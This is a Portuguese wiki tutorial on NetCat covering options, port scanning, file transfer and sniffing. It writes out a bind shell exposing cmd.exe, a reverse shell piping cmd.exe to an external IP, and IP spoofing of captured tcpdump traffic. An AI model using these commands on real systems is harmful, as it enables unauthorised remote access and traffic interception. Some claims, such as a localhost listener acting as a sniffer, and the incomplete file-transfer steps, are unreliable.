- 0 Discussão
-
nesta wiki
Início
|
Bem-vindo à Wiki Tutorial. Sobre a wiki | Novas páginas | Categorias | Tutorial | Páginas de ajuda | |
Wiki Tutorial
|
Mini-Tutorial NetCat Para instalar o NetCat em plataforma Windows, basta baixar o programa na internet e extrair para alguma pasta. Uma vez baixado e extraído, você deverá acessar o programa a partir do prompt de comando. Para fazer isso, acesse, primeiramente, o diretório, com o comando cd diretório. Veja um exemplo: cd c:\windows\system32\ Nesse caso, o executável do Netcat está na pasta system32. Poderia estar em qualquer outro diretório, até mesmo no desktop, ou pastas dos Meus Documentos. Estando dentro do diretório, que contém o executável, basta você dar os comandos específicos do programa, como mostrado logo mais. A maioria das distribuições Linux já vem com o netcat instalado, outras vem com ele pré-instalado. Para chamar o programa, basta o simples comando: $ nc O funcionamento básico do programa pode ser comparado a um telnet (também presente em versões para ambas as plataformas). Com ele você pode se conectar a qualquer porta de um micro que esteja rodando determinado serviço. O diferencial do Netcat em relação ao telnet, está no fato dele possuir várias opções adicionais. Com ele você pode se conectar ao shell de um sistema remoto, fazer um escaneamento de portas, um sniffing, etc. Por se tratar de um programa em modo texto, ele precisa ser chamado da mesma forma que os executáveis do sistema, dando-se o nome, seguido dos parâmetros. Veja uma lista com a função de alguns deles:
-e: especifica um programa a ser executado (Ex.: nc -e cmd.exe). -h: lista todas as opções do programa(Ex.: nc -h). -l: coloca uma porta em estado de escuta. -L: coloca uma porta em estado de escuta avançado. Reconecta se a conexão cair. -n: não retorna domínios, só IPs. -o: gera um log do tráfego em hexadecimal. -p: define uma porta local (Ex.: nc -p 14). -v: ativa o recebimento de eco, que permite saber o que está acontecendo no sistema durante a execução de determinado comando. O primeiro requerimento para se estabelecer uma conexão entre dois computadores é que ambos possuam um protocolo comum instalado, no caso, o TCP/IP, que é padrão da Internet. Por default, todos os sistemas operacionais atuais já o trazem instalado. Em seguida vale lembrar que cada micro pode ter, teoricamente, até 65.535 portas rodando determinados serviços, como o FTP (porta 21), Telnet (porta 23), SMTP (porta 25), HTTP (porta 80), etc... O primeiro passo para se realizar a conexão, sendo esta direta ou reversa, é abrir uma ou algumas portas, para que haja a comunicação. O Netcat permite abrir portas em pouquíssimos segundos. No micro que será acessado, abra o prompt de comando e digite o seguinte código: nc -L -p 14 -vv -e cmd.exe No código demonstrado, o parâmetro -L fará o programa escutar de modo avançado na porta 14 e nela rodar o executável cmd.exe, que é o prompt de comando do sistema. O parâmetro -vv ( não confunda os dois "Vs" com um "W") permite que você veja o que está acontecendo no sistema durante a execução do comando. A partir deste momento, o micro passa a agir como um servidor, permitindo que outros micros o acessem e explorem o recurso compartilhado, no caso, o shell do sistema. Veja: Com o módulo servidor rodando, chegou a hora de conectar. No micro cliente, abra o prompt de comando e digite: nc IPdoservidor 14 Por exemplo, se o endereço do servidor for 192.168.1.2, o comando ficaria assim: nc 192.168.1.2 14 Nesta etapa da conexão, você pode até mesmo substituir o Netcat pelo telnet, obtendo o mesmo resultado, veja: telnet 192.168.1.2 14 Esta é uma maneira bastante simples de acesso remoto que, permite em poucos segundos, obter o shell de um sistema. A partir deste ponto, você pode executar praticamente todos os comandos que são interpretados pelo prompt, afim de abrir ou copiar arquivos, editar configurações, visualizar imagens, etc... A partir da criação do protocolo TCP/IP, ficou muito fácil realizar conexões entre diferentes computadores, não importando em qual ponto do planeta esteja tanto é que surgiu a Internet, a mãe de todas as redes. O problema surge quando precisamos nos conectar a um computador que esteja numa Intranet (rede privada), onde todos os micros recebem a conexão de um servidor. Esses computadores recebem endereços IP privados, ou seja, só são acessíveis dentro da rede. Geralmente eles começam com os octetos 192.168.1.x. Então, como acessá-los? Computadores que utilizem endereços privados, só podem ser acessados externamente pelo que chamamos de conexão reversa. Esta permite que o processo de conexão seja realizado ao contrário do que seria o normal (a conexão direta). Consiste em fazer o micro interno (da rede) se conectar ao micro externo, que está conectado diretamente à Internet. Veja como isso pode ser feito no Netcat: O primeiro passo seria abrir duas portas no micro cliente. Abra duas janelas do prompt de comando. Na primeira digite: nc -L -p 14 -vv Este comando fará o programa escutar de modo avançado na porta 14. E na segunda: nc -L -p 15 -vv O comando fará o mesmo que o anterior, mas escutará a porta 15. Neste caso não utilizamos o parâmetro -e cmd.exe, pois agora o comando estará rodando no cliente e o Netcat irá "puxar" o shell do sistema do servidor. O código abaixo deve ser rodado no servidor: nc -n IPdocliente 14 | cmd.exe | nc -n IPdocliente 15 Se o IP do cliente é 201.90.50.95, por exemplo, o comando ficaria da seguinte forma: nc -n 201.90.50.95 14 | cmd.exe | nc -n 201.90.50.95 15 Obs.: o sinal de pipe "|" serve para concatenar (relacionar) a saída de um comando para a entrada de outro. Ao rodar este comando, o micro servidor se conecta ao cliente na porta 14, passa o que for recebido durante a conexão para o shell do sistema e envia o resultado para o mesmo cliente, porém na porta 15, permitindo assim obter o shell do sistema. A janela que você utilizou para abrir a porta 14, agora servirá para digitar os comandos, que serão concatenados para a segunda janela, onde foi aberta a porta quinze. Transferindo Arquivos Transferir arquivos de um host para outro usando o netcat é bastante simples. Basta configurar o lado server (que vai receber o arquivo) para "escutar" uma porta específica e redirecionar todos os dados recebidos para um arquivo.Colocando-se um timeout, o servidor irá perceber quando não existem mais dados chegando e irá fechar a conexão.No lado cliente da conexão, simplesmente conecta-se à porta do servidor e passa-se o arquivo a ser transferido como entrada.
Cliente: $ nc -vvn -w 2 10.0.0.1 3000 < file1 10.0.0.1 3000 open O servidor irá mostrar a seguinte mensagem quando uma conexão for estabelecida: Connection from 10.0.0.1:1028 Novamente, a conexão deve ser terminada usando-se o CTRL-C. O servidor irá mostrar: Exiting. Total received bytes: 6 Total sent bytes: 0 Enquanto que o cliente mostrará: Total received bytes: 0 Total sent bytes: 6 Realizando um escaneamento de portas Entre algumas das opções adicionais do programa, está a possibilidade de se fazer um scanner de portas, que consiste em procurar portas que, eventualmente estejam abertas em determinado computador. Na verdade ele realizará a função básica de um scanner de portas, que é sondá-las e verificar se estão ou não abertas. A sintaxe do comando é bem simples: nc -vv [Endereço IP] [Intervalo de portas] "não considere os colchetes" Por exemplo, para verificar quais portas estão abertas num micro com o IP 192.168.1.2, faria da seguinte forma: nc -vv 192.168.1.2 1-65535 Isso é apenas um exemplo, você pode utilizar um intervalo menor, ou então especificar apenas algumas portas a serem verificadas, separando-as por espaços: nc -vv 192.168.1.2 21 23 25 80 110 A análise do resultado é simples. Se a porta estiver aberta, no final da linha aparecerá "open", caso contrário, será exibido "connection refused". Sniffer com o Netcat Sniffers são programas utilizados para interceptar e registrar o tráfego de dados em uma rede de computadores. Em outras palavras, eles "farejam" e registram tudo o que passa pela rede. Para utilizá-los, é imprescindível que ele seja instalado no mesmo segmento de rede, onde você quer obter os dados. Veja um exemplo de como fazer um sniffing com o Netcat: nc -L -vv 127.0.0.1 -p 21 O código acima irá registrar todo o tráfego realizado na porta 21 (FTP). Se você quiser gravar todas as informações obtidas num arquivo de texto, digite o mesmo comando acima, porém acrescentando o diretório para salvar. IP Spoofing Usando o netcat, você pode fazer inclusive spoofing de endereços IP. Se você estiver escutando o tráfego em umsegmento, você pode enviar esse tráfego para outro host usando o protocolo UDP.O comando deverá ser tipo: $ tcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip <port> Isso também requer que você configure o endereço IP spoofed para um alias na sua interface de rede: $ ifconfig eth0:N spoofed_ip onde N é o alias a ser configurado. Isso irá causar problemas com o host que está sendo spoofed, já que é feito omesmo endereço IP é propagado por dois hosts na mesma rede. Para executar um spoofing sem causar tantos problemas, use a ferramenta hping. |